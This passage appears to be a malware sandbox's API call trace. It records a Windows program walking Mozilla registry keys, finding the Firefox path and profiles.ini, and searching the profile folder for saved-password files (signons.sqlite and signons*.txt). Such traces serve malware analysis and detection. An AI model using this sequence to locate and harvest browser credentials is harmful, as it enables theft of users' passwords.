uBytes=0xa5) returned 0x6293a8 [0068.520] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\MaintenanceService" | out: lpString1="Software\\Mozilla\\MaintenanceService") returned="Software\\Mozilla\\MaintenanceService" [0068.520] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0068.520] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\") returned 36 [0068.520] lstrlenA (lpString="f9b87e891978e3145f0f8f9953eadc00") returned 32 [0068.520] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x641518 [0068.520] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\MaintenanceService\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\") returned="Software\\Mozilla\\MaintenanceService\\" [0068.520] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\", lpString2="f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0068.520] LocalFree (hMem=0x6293a8) returned 0x0 [0068.520] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpSrch="Firefox") returned 0x0 [0068.520] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0068.520] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0068.520] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.520] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned 68 [0068.520] lstrlenA (lpString="\\") returned 1 [0068.521] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x626a88 [0068.521] lstrcpyA (in: lpString1=0x626a88, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00" [0068.521] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00", lpString2="\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0068.521] lstrlenA (lpString="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned 69 [0068.521] lstrlenA (lpString="0") returned 1 [0068.521] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x626b58 [0068.521] lstrcpyA (in: lpString1=0x626b58, lpString2="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\" [0068.521] lstrcatA (in: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\", lpString2="0" | out: lpString1="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0") returned="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0" [0068.521] LocalFree (hMem=0x626a88) returned 0x0 [0068.521] StrStrIA (lpFirst="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", lpSrch="Firefox") returned 0x0 [0068.521] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x647428 [0068.521] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\MaintenanceService\\f9b87e891978e3145f0f8f9953eadc00\\0", phkResult=0x12fd28 | out: phkResult=0x12fd28*=0x138) returned 0x0 [0068.521] RegEnumKeyExA (in: hKey=0x138, dwIndex=0x0, lpName=0x647428, lpcchName=0x12fd20, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd20, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.521] RegCloseKey (hKey=0x138) returned 0x0 [0068.521] LocalFree (hMem=0x647428) returned 0x0 [0068.521] LocalFree (hMem=0x626b58) returned 0x0 [0068.521] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x1, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="0", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.521] RegCloseKey (hKey=0x134) returned 0x0 [0068.521] LocalFree (hMem=0x646ba0) returned 0x0 [0068.521] LocalFree (hMem=0x641518) returned 0x0 [0068.521] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="f9b87e891978e3145f0f8f9953eadc00", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0068.521] RegCloseKey (hKey=0x130) returned 0x0 [0068.521] LocalFree (hMem=0x646318) returned 0x0 [0068.521] LocalFree (hMem=0x6292f8) returned 0x0 [0068.521] RegEnumKeyExA (in: hKey=0x12c, dwIndex=0x2, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.521] lstrlenA (lpString="Software\\Mozilla") returned 16 [0068.521] lstrlenA (lpString="\\") returned 1 [0068.521] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x641518 [0068.521] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla" | out: lpString1="Software\\Mozilla") returned="Software\\Mozilla" [0068.521] lstrcatA (in: lpString1="Software\\Mozilla", lpString2="\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.521] lstrlenA (lpString="Software\\Mozilla\\") returned 17 [0068.522] lstrlenA (lpString="Mozilla Firefox") returned 15 [0068.522] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0068.522] lstrcpyA (in: lpString1=0x6292f8, lpString2="Software\\Mozilla\\" | out: lpString1="Software\\Mozilla\\") returned="Software\\Mozilla\\" [0068.522] lstrcatA (in: lpString1="Software\\Mozilla\\", lpString2="Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0068.522] LocalFree (hMem=0x641518) returned 0x0 [0068.522] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox", lpSrch="Firefox") returned="Firefox" [0068.522] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd44 | out: phkResult=0x12fd44*=0x130) returned 0x0 [0068.522] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd3c, lpData=0x0, lpcbData=0x12fd40*=0x7 | out: lpType=0x12fd3c*=0x0, lpData=0x0, lpcbData=0x12fd40*=0x0) returned 0x2 [0068.522] RegCloseKey (hKey=0x130) returned 0x0 [0068.522] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fd18 | out: phkResult=0x12fd18*=0x130) returned 0x0 [0068.522] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd10, lpData=0x0, lpcbData=0x12fd14*=0x12fcfc | out: lpType=0x12fd10*=0x0, lpData=0x0, lpcbData=0x12fd14*=0x0) returned 0x2 [0068.522] RegCloseKey (hKey=0x130) returned 0x0 [0068.522] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcec | out: phkResult=0x12fcec*=0x130) returned 0x0 [0068.522] RegQueryValueExA (in: hKey=0x130, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fce4, lpData=0x0, lpcbData=0x12fce8*=0x12fcd0 | out: lpType=0x12fce4*=0x0, lpData=0x0, lpcbData=0x12fce8*=0x0) returned 0x2 [0068.522] RegCloseKey (hKey=0x130) returned 0x0 [0068.522] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646318 [0068.522] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox", phkResult=0x12fd90 | out: phkResult=0x12fd90*=0x130) returned 0x0 [0068.522] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x0, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.522] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox") returned 32 [0068.522] lstrlenA (lpString="\\") returned 1 [0068.522] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6293a8 [0068.522] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox" | out: lpString1="Software\\Mozilla\\Mozilla Firefox") returned="Software\\Mozilla\\Mozilla Firefox" [0068.522] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0068.522] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\") returned 33 [0068.522] lstrlenA (lpString="25.0 (en-US)") returned 12 [0068.522] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x641518 [0068.522] lstrcpyA (in: lpString1=0x641518, lpString2="Software\\Mozilla\\Mozilla Firefox\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\") returned="Software\\Mozilla\\Mozilla Firefox\\" [0068.523] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\", lpString2="25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0068.523] LocalFree (hMem=0x6293a8) returned 0x0 [0068.523] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)" [0068.523] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0068.523] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0068.523] RegCloseKey (hKey=0x134) returned 0x0 [0068.523] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0068.523] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0068.523] RegCloseKey (hKey=0x134) returned 0x0 [0068.523] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0068.523] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0068.523] RegCloseKey (hKey=0x134) returned 0x0 [0068.523] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0068.523] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0068.523] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Main", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.523] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0068.523] lstrlenA (lpString="\\") returned 1 [0068.523] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x6415d0 [0068.523] lstrcpyA (in: lpString1=0x6415d0, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0068.523] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0068.523] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0068.523] lstrlenA (lpString="Main") returned 4 [0068.523] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643aa8 [0068.523] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0068.523] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Main" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main" [0068.523] LocalFree (hMem=0x6415d0) returned 0x0 [0068.523] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Main" [0068.524] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fcdc | out: phkResult=0x12fcdc*=0x138) returned 0x0 [0068.524] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcd4, lpData=0x0, lpcbData=0x12fcd8*=0x7 | out: lpType=0x12fcd4*=0x1, lpData=0x0, lpcbData=0x12fcd8*=0x2d) returned 0x0 [0068.524] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6415d0 [0068.524] RegQueryValueExA (in: hKey=0x138, lpValueName="PathToExe", lpReserved=0x0, lpType=0x0, lpData=0x6415d0, lpcbData=0x12fcd8*=0x2d | out: lpType=0x0, lpData=0x6415d0*=0x43, lpcbData=0x12fcd8*=0x2d) returned 0x0 [0068.524] RegCloseKey (hKey=0x138) returned 0x0 [0068.524] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0068.524] lstrlenA (lpString="") returned 0 [0068.524] LocalAlloc (uFlags=0x40, uBytes=0xad) returned 0x647440 [0068.524] lstrcpyA (in: lpString1=0x647440, lpString2="C:\\Program Files\\Mozilla Firefox\\firefox.exe" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0068.524] lstrcatA (in: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpString2="" | out: lpString1="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned="C:\\Program Files\\Mozilla Firefox\\firefox.exe" [0068.524] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox\\firefox.exe") returned 44 [0068.524] StrStrIA (lpFirst="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpSrch=".exe") returned=".exe" [0068.524] StrRChrIA (lpStart="C:\\Program Files\\Mozilla Firefox\\firefox.exe", lpEnd=0x0, wMatch=0x5c) returned="\\firefox.exe" [0068.524] lstrlenA (lpString="C:\\Program Files\\Mozilla Firefox") returned 32 [0068.524] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.524] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.524] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.524] lstrlenA (lpString="\\Mozilla\\Firefox\\") returned 17 [0068.524] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643b68 [0068.524] lstrcpyA (in: lpString1=0x643b68, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.524] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0068.524] LocalFree (hMem=0x626a88) returned 0x0 [0068.524] GetFileAttributesA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox")) returned 0x2010 [0068.526] GetFileAttributesA (lpFileName="C:\\Program Files\\Mozilla Firefox" (normalized: "c:\\program files\\mozilla firefox")) returned 0x10 [0068.526] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0068.526] lstrlenA (lpString="") returned 0 [0068.526] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643c28 [0068.526] lstrcpyA (in: lpString1=0x643c28, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0068.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0068.526] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0068.526] lstrlenA (lpString="profiles.ini") returned 12 [0068.526] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x626a88 [0068.526] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0068.526] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0068.526] LocalAlloc (uFlags=0x40, uBytes=0xfe6a) returned 0x649428 [0068.527] LocalAlloc (uFlags=0x40, uBytes=0x1080) returned 0x6592a0 [0068.528] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles.ini"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.528] CloseHandle (hObject=0x139) returned 1 [0068.529] GetPrivateProfileSectionNamesA (in: lpszReturnBuffer=0x649428, nSize=0xfde8, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpszReturnBuffer="General") returned 0x11 [0068.530] StrStrIA (lpFirst="General", lpSrch="Profile") returned 0x0 [0068.530] StrStrIA (lpFirst="Profile0", lpSrch="Profile") returned="Profile0" [0068.531] GetPrivateProfileStringA (in: lpAppName="Profile0", lpKeyName="Path", lpDefault="", lpReturnedString=0x6592a0, nSize=0xfff, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" | out: lpReturnedString="Profiles/h231daer.default") returned 0x19 [0068.531] GetPrivateProfileIntA (lpAppName="Profile0", lpKeyName="IsRelative", nDefault=1, lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 0x1 [0068.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 49 [0068.532] lstrlenA (lpString="Profiles/h231daer.default") returned 25 [0068.532] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627248 [0068.532] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\" [0068.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles/h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles/h231daer.default" [0068.532] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.532] lstrlenA (lpString="\\*.*") returned 4 [0068.532] LocalAlloc (uFlags=0x40, uBytes=0xcf) returned 0x627320 [0068.532] lstrcpyA (in: lpString1=0x627320, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0068.532] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*" [0068.532] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\*.*", lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 0x6426a8 [0068.559] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.559] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.561] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.561] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.561] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.561] StrStrIA (lpFirst="addons.json", lpSrch="signons.sqlite") returned 0x0 [0068.561] lstrlenA (lpString="addons.json") returned 11 [0068.561] StrStrIA (lpFirst="addons.json", lpSrch="signons.txt") returned 0x0 [0068.561] StrStrIA (lpFirst="addons.json", lpSrch="signons2.txt") returned 0x0 [0068.561] StrStrIA (lpFirst="addons.json", lpSrch="signons3.txt") returned 0x0 [0068.561] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.561] lstrcmpiA (lpString1=".", lpString2="bookmarkbackups") returned -1 [0068.561] lstrcmpiA (lpString1="..", lpString2="bookmarkbackups") returned -1 [0068.561] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.561] lstrlenA (lpString="\\") returned 1 [0068.561] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6273f8 [0068.561] lstrcpyA (in: lpString1=0x6273f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0068.561] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.561] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0068.561] lstrlenA (lpString="bookmarkbackups") returned 15 [0068.562] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626b50 [0068.562] lstrcpyA (in: lpString1=0x626b50, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.562] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0068.562] LocalFree (hMem=0x6273f8) returned 0x0 [0068.562] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned 90 [0068.562] lstrlenA (lpString="\\*.*") returned 4 [0068.562] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x65b330 [0068.562] lstrcpyA (in: lpString1=0x65b330, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups" [0068.562] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups", 